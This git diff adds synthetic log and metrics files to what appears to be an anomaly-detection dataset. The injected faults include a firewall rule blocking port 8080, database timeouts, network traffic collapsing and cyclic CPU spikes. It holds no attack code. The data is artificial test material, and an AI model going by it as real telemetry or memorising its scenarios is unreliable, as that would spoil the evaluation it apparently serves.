b/anom_dataset/scenario_10/anom_10_6.log new file mode 100644 index 0000000000000000000000000000000000000000..686c0b7037446cb79386bbe49db5ab282762afd7 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_6.log @@ -0,0 +1,42 @@ +Aug 23 10:00:00 systemd[1]: Starting Network Manager Script Dispatcher Service... +Aug 23 10:00:07 web-app[3456]: INFO Request received from 192.168.1.105 for resource /api/v1/data +Aug 23 10:00:11 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:00:11 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "curl/7.68.0" +Aug 23 10:00:30 web-app[3456]: INFO Successful connection to database on port 5432 +Aug 23 10:00:40 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:00:40 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:01:00 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:01:00 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:01:00 web-app[3456]: INFO Successful connection to database on port 5432 +Aug 23 10:01:20 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:01:20 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:01:30 web-app[3456]: INFO Successful connection to database on port 5432 +Aug 23 10:01:40 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:01:40 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:02:00 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:02:00 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:02:00 web-app[3456]: INFO Successful connection to database on port 5432 +Aug 23 10:02:20 nginx[1123]: 192.168.1.105 - - [23/Aug/2025:10:02:20 +0000] "GET /api/v1/data HTTP/1.1" 200 154 "-" "Mozilla/5.0" +Aug 23 10:02:30 sudo[4521]: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/sbin/ufw deny from any to any port 8080 +Aug 23 10:02:30 ufw[4525]: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=192.168.1.105 DST=10.0.0.5 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=... PROTO=TCP SPT=54321 DPT=8080 WINDOW=29200 RES=0x00 SYN URGP=0 +Aug 23 10:02:45 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:02:55 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:03:00 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:03:15 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:03:30 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:03:30 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:03:45 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:04:00 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:04:05 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:04:15 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:04:30 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:04:40 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:04:45 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:05:00 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:05:15 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:05:15 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:05:30 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:05:45 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:05:50 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:06:00 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:06:15 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:06:25 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:06:30 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:06:45 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:07:00 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Aug 23 10:07:00 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out +Aug 23 10:07:15 web-app[3456]: ERROR Connection to payment-gateway-service on port 8080 timed out diff --git a/anom_dataset/scenario_10/anom_10_7.csv b/anom_dataset/scenario_10/anom_10_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..787b8cae9721e79fbbe5c3f474880377bd365a51 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,17.383137931501132,49.249956355063375,22.579995174221306,1.4488443952363137,1.602460989834019 +2025-07-02T11:00:05Z,18.491269221359833,40.9546148064456,23.394923849385297,1.350787301399854,1.004120996112125 +2025-07-02T11:00:10Z,16.45022240571743,44.72867371032949,22.502998174479153,1.0017419354939565,1.6812277311959023 +2025-07-02T11:00:15Z,16.315782395983817,40.44670384248191,23.591219329835212,1.1733879896495367,1.07013555768182 +2025-07-02T11:00:20Z,19.66426912132938,40.86183852855171,29.22249157271773,0.9739074708152514,1.9402106324862631 +2025-07-02T11:00:25Z,23.580749008079486,43.28579168652495,28.566362608828985,1.097217574917972,1.496972637396021 +2025-07-02T11:00:30Z,21.85541609185974,43.7623901328921,20.181963167430478,1.2704690181714726,1.0056059197230054 +2025-07-02T11:00:35Z,15.521288982652987,44.18037824070496,27.207217623370635,1.3813100915737584,1.623594259787171 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+2025-07-02T11:07:20Z,20.992353802565408,49.83035875823571,29.957998930179592,0.01594660962049794,0.02756386022407044 +2025-07-02T11:07:25Z,24.888936301297797,46.31751886221929,23.98619491022801,0.019690573781760645,0.06420435840267553 diff --git a/anom_dataset/scenario_10/anom_10_7.log b/anom_dataset/scenario_10/anom_10_7.log new file mode 100644 index 0000000000000000000000000000000000000000..8d96bf83c746b5dd9446f11e96febcd322952b06 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_7.log @@ -0,0 +1,15 @@ +Jul 02 11:00:00 nginx[1123]: 192.168.1.11 - - [02/Jul/2025:11:00:00 +0000] "GET /api/data HTTP/1.1" 200 1542 "-" "Mozilla/5.0" +Jul 02 11:00:10 nginx[1123]: 192.168.1.160 - - [02/Jul/2025:11:00:10 +0000] "GET /api/data HTTP/1.1" 200 1542 "-" "Mozilla/5.0" +Jul 02 11:00:50 nginx[1123]: 192.168.1.192 - - [02/Jul/2025:11:00:50 +0000] "GET /api/data HTTP/1.1" 200 1542 "-" "Mozilla/5.0" +Jul 02 11:01:05 systemd[1]: Starting Daily apt download activities... +Jul 02 11:01:10 nginx[1123]: 192.168.1.72 - - [02/Jul/2025:11:01:10 +0000] "GET /api/data HTTP/1.1" 200 1542 "-" "Mozilla/5.0" +Jul 02 11:01:50 nginx[1123]: 192.168.1.88 - - [02/Jul/2025:11:01:50 +0000] "GET /api/data HTTP/1.1" 200 1542 "-" "Mozilla/5.0" +Jul 02 11:02:50 CRON[3124]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:03:00 webapp[4512]: ERROR Failed to connect to database on port 5432: Connection timed out +Jul 02 11:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:04:00 webapp[4512]: ERROR Failed to connect to database on port 5432: Connection timed out +Jul 02 11:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:00 webapp[4512]: ERROR Failed to connect to database on port 5432: Connection timed out +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:45 webapp[4512]: ERROR Failed to connect to database on port 5432: Connection timed out diff --git a/anom_dataset/scenario_10/anom_10_8.csv b/anom_dataset/scenario_10/anom_10_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc7c863215c88ee415097bb47412aaa849a03f11 --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.72,44.74,22.66,0.94,1.03 +2025-07-02T10:00:05Z,21.04,44.27,20.44,1.1,1.11 +2025-07-02T10:00:10Z,21.9,36.66,24.32,1.18,1.38 +2025-07-02T10:00:15Z,24.06,42.27,20.52,0.73,1.36 +2025-07-02T10:00:20Z,20.72,40.58,23.72,0.94,1.35 +2025-07-02T10:00:25Z,20.0,44.42,29.29,0.95,1.04 +2025-07-02T10:00:30Z,17.86,38.73,21.97,1.02,1.2 +2025-07-02T10:00:35Z,15.06,36.57,26.57,0.81,1.06 +2025-07-02T10:00:40Z,16.24,43.98,25.65,0.95,1.25 +2025-07-02T10:00:45Z,22.26,41.1,28.52,0.81,1.13 +2025-07-02T10:00:50Z,19.43,42.3,26.4,1.18,1.37 +2025-07-02T10:00:55Z,18.64,44.09,21.96,1.14,1.48 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+2025-07-02T10:06:00Z,23.7,40.78,21.56,0.0,0.02 +2025-07-02T10:06:05Z,17.98,37.05,23.72,0.02,0.04 +2025-07-02T10:06:10Z,24.32,40.66,29.89,0.03,0.04 +2025-07-02T10:06:15Z,15.44,38.98,27.62,0.0,0.03 +2025-07-02T10:06:20Z,21.39,37.47,21.62,0.05,0.02 +2025-07-02T10:06:25Z,20.29,37.83,22.5,0.0,0.04 +2025-07-02T10:06:30Z,23.92,36.15,27.03,0.01,0.02 +2025-07-02T10:06:35Z,22.17,37.13,27.69,0.03,0.04 +2025-07-02T10:06:40Z,17.67,40.84,27.67,0.02,0.02 +2025-07-02T10:06:45Z,18.03,40.58,21.44,0.01,0.01 +2025-07-02T10:06:50Z,16.41,44.63,20.52,0.04,0.03 +2025-07-02T10:06:55Z,16.48,35.83,27.99,0.03,0.03 +2025-07-02T10:07:00Z,24.28,35.05,22.75,0.01,0.04 +2025-07-02T10:07:05Z,21.27,38.68,26.13,0.0,0.0 +2025-07-02T10:07:10Z,24.26,42.42,23.91,0.01,0.03 +2025-07-02T10:07:15Z,23.52,36.95,20.4,0.05,0.01 +2025-07-02T10:07:20Z,20.39,36.43,21.18,0.03,0.01 +2025-07-02T10:07:25Z,19.97,43.8,24.23,0.03,0.01 diff --git a/anom_dataset/scenario_10/anom_10_8.log b/anom_dataset/scenario_10/anom_10_8.log new file mode 100644 index 0000000000000000000000000000000000000000..bd3430fca23e70736d464d32b2778988ba2e35cd --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_8.log @@ -0,0 +1,35 @@ +Jul 02 10:00:00 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:00:00 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:00:20 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:00:20 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:00:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:00:40 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:00:40 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:00:50 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 10:01:00 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:01:00 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:01:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:01:20 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:01:20 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:01:40 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:01:40 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:02:00 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:02:00 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:02:20 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:02:20 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:02:30 systemd[1]: Started Session 30 of user ubuntu. +Jul 02 10:02:40 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:02:40 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:03:00 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:03:00 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:03:20 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:03:20 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:03:40 nginx[1123]: 192.168.1.105 - - [02/Jul/2025:10:03:40 +0000] "GET /api/data HTTP/1.1" 200 134 "-" "curl/7.68.0" +Jul 02 10:03:45 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:04:00 CRON[213548]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Jul 02 10:04:10 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:04:35 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:04:40 CRON[213556]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Jul 02 10:05:00 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:05:20 CRON[213564]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Jul 02 10:05:25 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:05:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:50 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:06:00 CRON[213572]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Jul 02 10:06:15 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:06:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:40 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:07:05 web-app[4567]: ERROR Failed to connect to database service on 10.0.0.5:5432: Connection timed out +Jul 02 10:07:20 CRON[213588]: (ubuntu) CMD (/usr/local/bin/backup.sh) \ No newline at end of file diff --git a/anom_dataset/scenario_10/anom_10_9.csv b/anom_dataset/scenario_10/anom_10_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..1a032e9d0ac874f4e2b9ef2c9f7741f863df81fb --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T10:00:00Z,20.36,43.15,21.3,1.24,1.08 +2025-07-10T10:00:05Z,16.59,42.35,27.05,1.36,1.23 +2025-07-10T10:00:10Z,19.78,45.46,28.64,0.86,0.87 +2025-07-10T10:00:15Z,17.11,43.6,27.94,1.32,1.07 +2025-07-10T10:00:20Z,23.13,46.41,22.84,1.11,0.75 +2025-07-10T10:00:25Z,22.54,45.8,26.99,1.37,0.99 +2025-07-10T10:00:30Z,23.57,42.98,29.36,1.29,0.86 +2025-07-10T10:00:35Z,16.18,43.34,20.52,1.12,0.88 +2025-07-10T10:00:40Z,22.87,40.85,25.41,1.16,0.94 +2025-07-10T10:00:45Z,21.64,41.0,27.55,1.34,1.16 +2025-07-10T10:00:50Z,24.72,42.45,27.48,0.8,0.73 +2025-07-10T10:00:55Z,23.28,44.17,29.83,0.88,1.27 +2025-07-10T10:01:00Z,23.7,42.86,25.39,1.38,1.2 +2025-07-10T10:01:05Z,15.21,40.22,28.62,0.93,1.08 +2025-07-10T10:01:10Z,15.96,41.58,20.35,1.07,1.26 +2025-07-10T10:01:15Z,18.01,48.69,22.44,0.83,0.71 +2025-07-10T10:01:20Z,15.83,47.39,29.95,1.31,1.16 +2025-07-10T10:01:25Z,17.39,45.46,27.99,0.95,0.81 +2025-07-10T10:01:30Z,18.22,43.21,27.92,1.08,0.79 +2025-07-10T10:01:35Z,21.07,46.25,29.41,1.03,1.19 +2025-07-10T10:01:40Z,19.22,40.37,22.63,1.49,0.99 +2025-07-10T10:01:45Z,17.68,47.25,27.3,0.85,1.25 +2025-07-10T10:01:50Z,24.16,47.54,24.21,0.87,1.0 +2025-07-10T10:01:55Z,15.53,48.1,22.7,0.82,1.0 +2025-07-10T10:02:00Z,20.45,44.72,25.79,1.21,0.9 +2025-07-10T10:02:05Z,21.71,40.32,24.47,1.22,0.88 +2025-07-10T10:02:10Z,15.32,41.64,23.34,1.31,1.1 +2025-07-10T10:02:15Z,16.12,43.03,22.49,1.15,0.72 +2025-07-10T10:02:20Z,20.63,48.88,25.56,1.33,1.18 +2025-07-10T10:02:25Z,23.66,46.02,25.44,1.49,1.07 +2025-07-10T10:02:30Z,18.11,46.55,22.06,0.04,0.04 +2025-07-10T10:02:35Z,24.87,40.65,24.75,0.05,0.02 +2025-07-10T10:02:40Z,21.21,48.65,26.37,0.03,0.03 +2025-07-10T10:02:45Z,19.86,42.48,25.18,0.01,0.0 +2025-07-10T10:02:50Z,24.32,44.49,25.69,0.01,0.03 +2025-07-10T10:02:55Z,21.05,41.82,20.28,0.01,0.01 +2025-07-10T10:03:00Z,22.51,49.27,24.79,0.01,0.02 +2025-07-10T10:03:05Z,20.44,47.1,26.79,0.01,0.01 +2025-07-10T10:03:10Z,17.02,44.25,25.92,0.05,0.03 +2025-07-10T10:03:15Z,23.73,45.37,23.27,0.04,0.02 +2025-07-10T10:03:20Z,20.48,48.24,28.18,0.03,0.05 +2025-07-10T10:03:25Z,18.11,40.14,26.43,0.03,0.02 +2025-07-10T10:03:30Z,24.24,46.72,29.12,0.02,0.03 +2025-07-10T10:03:35Z,16.35,46.37,20.73,0.02,0.05 +2025-07-10T10:03:40Z,24.45,48.34,27.16,0.05,0.04 +2025-07-10T10:03:45Z,22.94,43.66,28.39,0.04,0.01 +2025-07-10T10:03:50Z,24.63,41.08,27.13,0.01,0.01 +2025-07-10T10:03:55Z,21.0,45.42,27.71,0.05,0.01 +2025-07-10T10:04:00Z,17.69,46.9,20.56,0.02,0.04 +2025-07-10T10:04:05Z,21.68,40.36,24.02,0.04,0.03 +2025-07-10T10:04:10Z,19.97,46.99,22.07,0.04,0.01 +2025-07-10T10:04:15Z,20.24,45.82,29.63,0.03,0.03 +2025-07-10T10:04:20Z,17.62,49.02,26.59,0.01,0.01 +2025-07-10T10:04:25Z,17.67,45.61,21.25,0.01,0.02 +2025-07-10T10:04:30Z,18.62,45.58,29.19,0.05,0.02 +2025-07-10T10:04:35Z,16.18,44.89,24.6,0.02,0.02 +2025-07-10T10:04:40Z,15.99,46.21,25.86,0.03,0.02 +2025-07-10T10:04:45Z,21.26,47.21,23.54,0.04,0.02 +2025-07-10T10:04:50Z,24.59,42.67,25.0,0.02,0.03 +2025-07-10T10:04:55Z,24.06,40.09,22.85,0.04,0.02 +2025-07-10T10:05:00Z,19.15,47.64,22.97,0.04,0.02 +2025-07-10T10:05:05Z,23.72,40.96,21.43,0.01,0.01 +2025-07-10T10:05:10Z,15.09,41.22,26.82,0.0,0.03 +2025-07-10T10:05:15Z,20.74,44.82,20.37,0.03,0.02 +2025-07-10T10:05:20Z,17.72,40.93,26.63,0.03,0.03 +2025-07-10T10:05:25Z,22.67,42.09,27.55,0.02,0.0 +2025-07-10T10:05:30Z,22.2,45.1,26.98,0.04,0.05 +2025-07-10T10:05:35Z,22.87,44.01,20.18,0.04,0.01 +2025-07-10T10:05:40Z,17.9,47.47,26.08,0.01,0.01 +2025-07-10T10:05:45Z,17.94,48.25,27.15,0.03,0.04 +2025-07-10T10:05:50Z,20.45,43.49,27.86,0.05,0.03 +2025-07-10T10:05:55Z,24.42,49.16,22.5,0.03,0.03 +2025-07-10T10:06:00Z,24.73,43.93,25.48,0.01,0.02 +2025-07-10T10:06:05Z,19.49,44.52,25.65,0.02,0.05 +2025-07-10T10:06:10Z,16.76,49.32,20.21,0.03,0.04 +2025-07-10T10:06:15Z,17.4,43.0,26.63,0.01,0.03 +2025-07-10T10:06:20Z,19.63,42.11,25.79,0.02,0.03 +2025-07-10T10:06:25Z,22.69,49.09,24.44,0.01,0.04 +2025-07-10T10:06:30Z,22.94,44.79,28.61,0.01,0.04 +2025-07-10T10:06:35Z,22.5,49.24,23.91,0.05,0.03 +2025-07-10T10:06:40Z,22.44,41.72,21.37,0.03,0.04 +2025-07-10T10:06:45Z,18.49,49.21,26.4,0.04,0.05 +2025-07-10T10:06:50Z,19.73,42.39,25.14,0.0,0.05 +2025-07-10T10:06:55Z,21.95,48.3,29.75,0.0,0.03 +2025-07-10T10:07:00Z,23.2,48.99,23.67,0.02,0.01 +2025-07-10T10:07:05Z,20.65,43.67,21.56,0.04,0.0 +2025-07-10T10:07:10Z,18.25,46.37,20.58,0.05,0.02 +2025-07-10T10:07:15Z,24.28,49.85,25.25,0.02,0.02 +2025-07-10T10:07:20Z,18.89,45.76,25.73,0.0,0.04 +2025-07-10T10:07:25Z,17.71,40.25,29.55,0.04,0.03 diff --git a/anom_dataset/scenario_10/anom_10_9.log b/anom_dataset/scenario_10/anom_10_9.log new file mode 100644 index 0000000000000000000000000000000000000000..1ed24d7e7b732f374122a7ee146738c273be2b8b --- /dev/null +++ b/anom_dataset/scenario_10/anom_10_9.log @@ -0,0 +1,14 @@ +Jul 10 10:00:05 systemd[1]: Starting daily clean up activities... +Jul 10 10:00:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 10 10:00:40 web-app[3456]: POST /api/v1/data status=201 CREATED +Jul 10 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:01:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 10 10:02:20 web-app[3456]: POST /api/v1/data status=201 CREATED +Jul 10 10:02:55 data-scraper[8899]: ERROR Failed to connect to web-app: Connection timed out +Jul 10 10:03:20 systemd[1]: Starting daily clean up activities... +Jul 10 10:03:45 data-scraper[8899]: ERROR Failed to connect to web-app: Connection timed out +Jul 10 10:04:35 kubelet[1122]: INFO Liveness probe for pod web-app-pod succeeded +Jul 10 10:05:00 data-scraper[8899]: ERROR Failed to connect to web-app: Connection timed out +Jul 10 10:05:50 CRON[6795]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 10 10:06:15 data-scraper[8899]: ERROR Failed to connect to web-app: Connection timed out +Jul 10 10:07:05 data-scraper[8899]: ERROR Failed to connect to web-app: Connection timed out diff --git a/anom_dataset/scenario_11/anom_11_1.csv b/anom_dataset/scenario_11/anom_11_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..3aac0c43d4475a456d3ab7d08ea6bb8f016241c6 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15 14:00:00+00:00,2.87,11.55,2.5,0.03,0.1 +2025-08-15 14:00:05+00:00,2.14,9.8,2.94,0.07,0.06 +2025-08-15 14:00:10+00:00,97.71,16.77,42.03,2.37,0.81 +2025-08-15 14:00:15+00:00,94.35,32.17,35.72,1.55,1.15 +2025-08-15 14:00:20+00:00,87.75,55.49,38.34,1.91,1.31 +2025-08-15 14:00:25+00:00,62.71,68.05,12.34,0.56,0.8 +2025-08-15 14:00:30+00:00,66.24,71.76,5.66,0.8,0.41 +2025-08-15 14:00:35+00:00,70.23,71.86,9.93,0.61,0.73 +2025-08-15 14:00:40+00:00,61.15,66.42,8.9,0.61,0.51 +2025-08-15 14:00:45+00:00,69.22,71.83,11.23,0.69,0.77 +2025-08-15 14:00:50+00:00,98.58,70.77,11.74,0.45,0.19 +2025-08-15 14:00:55+00:00,2.34,10.79,1.12,0.05,0.03 +2025-08-15 14:01:00+00:00,4.73,8.7,3.51,0.08,0.07 +2025-08-15 14:01:05+00:00,3.97,8.09,2.34,0.04,0.06 +2025-08-15 14:01:10+00:00,85.45,14.32,40.29,2.34,1.28 +2025-08-15 14:01:15+00:00,86.86,34.49,49.15,2.26,1.23 +2025-08-15 14:01:20+00:00,89.06,53.81,34.34,1.8,1.03 +2025-08-15 14:01:25+00:00,71.22,70.34,10.49,0.68,0.56 +2025-08-15 14:01:30+00:00,63.99,67.32,6.61,0.81,0.56 +2025-08-15 14:01:35+00:00,74.08,65.94,11.0,0.85,0.6 +2025-08-15 14:01:40+00:00,74.17,71.81,5.84,0.8,0.6 +2025-08-15 14:01:45+00:00,72.22,65.78,13.49,0.63,0.68 +2025-08-15 14:01:50+00:00,97.97,72.17,10.25,0.45,0.39 +2025-08-15 14:01:55+00:00,4.22,9.61,4.29,0.06,0.04 +2025-08-15 14:02:00+00:00,4.06,11.19,1.09,0.08,0.01 +2025-08-15 14:02:05+00:00,4.48,9.54,3.01,0.03,0.07 +2025-08-15 14:02:10+00:00,95.31,12.1,31.02,2.26,0.82 +2025-08-15 14:02:15+00:00,90.37,35.6,49.14,2.1,1.45 +2025-08-15 14:02:20+00:00,90.77,56.27,41.9,1.57,1.09 +2025-08-15 14:02:25+00:00,68.61,70.65,8.44,0.84,0.87 +2025-08-15 14:02:30+00:00,62.94,71.23,6.95,0.62,0.61 +2025-08-15 14:02:35+00:00,64.09,66.78,8.34,0.56,0.68 +2025-08-15 14:02:40+00:00,66.17,71.35,8.14,0.89,0.63 +2025-08-15 14:02:45+00:00,71.06,68.7,14.61,0.82,0.42 +2025-08-15 14:02:50+00:00,96.51,73.3,13.65,0.3,0.49 +2025-08-15 14:02:55+00:00,3.71,10.37,4.13,0.08,0.01 +2025-08-15 14:03:00+00:00,4.66,11.72,4.69,0.05,0.03 +2025-08-15 14:03:05+00:00,3.73,11.42,1.21,0.04,0.02 +2025-08-15 14:03:10+00:00,96.44,13.76,34.29,1.86,1.18 +2025-08-15 14:03:15+00:00,94.99,33.47,36.49,1.55,1.19 +2025-08-15 14:03:20+00:00,86.74,57.62,45.5,2.21,1.0 +2025-08-15 14:03:25+00:00,68.91,66.35,11.34,0.89,0.87 +2025-08-15 14:03:30+00:00,65.77,68.78,6.12,0.55,0.87 +2025-08-15 14:03:35+00:00,63.53,65.6,11.16,0.92,0.74 +2025-08-15 14:03:40+00:00,66.67,68.13,12.6,0.62,0.5 +2025-08-15 14:03:45+00:00,69.58,69.99,6.7,0.62,0.58 +2025-08-15 14:03:50+00:00,95.72,73.71,12.96,0.37,0.48 +2025-08-15 14:03:55+00:00,2.3,11.95,1.91,0.1,0.02 +2025-08-15 14:04:00+00:00,3.22,9.4,3.26,0.07,0.08 +2025-08-15 14:04:05+00:00,3.4,8.86,2.88,0.06,0.1 +2025-08-15 14:04:10+00:00,89.12,16.76,49.26,1.91,1.27 +2025-08-15 14:04:15+00:00,88.32,32.97,40.13,1.82,1.5 +2025-08-15 14:04:20+00:00,86.53,54.44,30.43,1.91,1.06 +2025-08-15 14:04:25+00:00,68.18,71.68,6.63,0.54,0.48 +2025-08-15 14:04:30+00:00,65.7,70.94,7.25,0.88,0.7 +2025-08-15 14:04:35+00:00,67.63,67.82,5.58,0.73,0.5 +2025-08-15 14:04:40+00:00,65.95,70.43,8.61,0.83,0.76 +2025-08-15 14:04:45+00:00,62.84,68.74,5.17,0.86,0.68 +2025-08-15 14:04:50+00:00,96.89,74.0,19.64,0.21,0.44 +2025-08-15 14:04:55+00:00,4.97,8.61,1.76,0.06,0.08 +2025-08-15 14:05:00+00:00,2.93,9.97,3.16,0.08,0.06 +2025-08-15 14:05:05+00:00,3.25,10.78,4.33,0.05,0.08 +2025-08-15 14:05:10+00:00,88.59,13.39,46.32,2.22,0.97 +2025-08-15 14:05:15+00:00,96.83,35.62,42.53,1.71,1.21 +2025-08-15 14:05:20+00:00,97.4,54.16,44.99,1.55,1.47 +2025-08-15 14:05:25+00:00,63.32,67.84,10.16,0.85,0.64 +2025-08-15 14:05:30+00:00,65.45,67.82,14.02,0.97,0.47 +2025-08-15 14:05:35+00:00,72.65,69.46,14.53,0.79,0.7 +2025-08-15 14:05:40+00:00,63.64,68.37,10.63,0.76,0.76 +2025-08-15 14:05:45+00:00,62.54,70.25,5.26,0.53,0.41 +2025-08-15 14:05:50+00:00,97.69,73.45,11.13,0.46,0.46 +2025-08-15 14:05:55+00:00,4.73,9.64,1.02,0.08,0.03 +2025-08-15 14:06:00+00:00,3.95,11.27,4.27,0.1,0.07 +2025-08-15 14:06:05+00:00,4.55,9.71,2.01,0.01,0.04 +2025-08-15 14:06:10+00:00,89.3,17.19,33.09,2.19,1.48 